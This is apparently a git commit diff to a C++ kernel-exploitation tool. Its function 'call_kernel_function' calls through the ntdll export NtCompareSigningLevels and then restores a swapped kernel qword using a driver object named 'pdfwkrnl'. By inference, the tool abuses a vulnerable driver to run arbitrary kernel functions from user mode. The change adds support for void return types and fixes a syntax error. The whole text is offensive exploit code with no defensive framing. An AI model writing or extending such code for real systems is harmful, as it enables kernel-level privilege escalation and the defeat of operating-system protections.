Update entry.cpp

void function calling shit

source/entry.cpp

@@ -27,13 +27,18 @@ T call_kernel_function(const char* function_name, Args... args){
 	FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels");
 
 	using FuncPtr = T(__stdcall*)(Args...);
-	FuncPtr func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
-
-	T return_value = func(args...);
-
-	pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t); // swap back
-
-	return return_value;
+	if constexpr (std::is_void_v<T>) {
+		auto func = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
+		func(args...); 
+		pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
+		return T{};  
+	}
+	else {
+		auto func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
+		T return_value = func(args...);
+		pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
+		return return_value;
+	}
 }
 
 int main() {
@@ -46,4 +51,4 @@ int main() {
 
 	pdfwkrnl.detach();
 	return 0;
-}
+}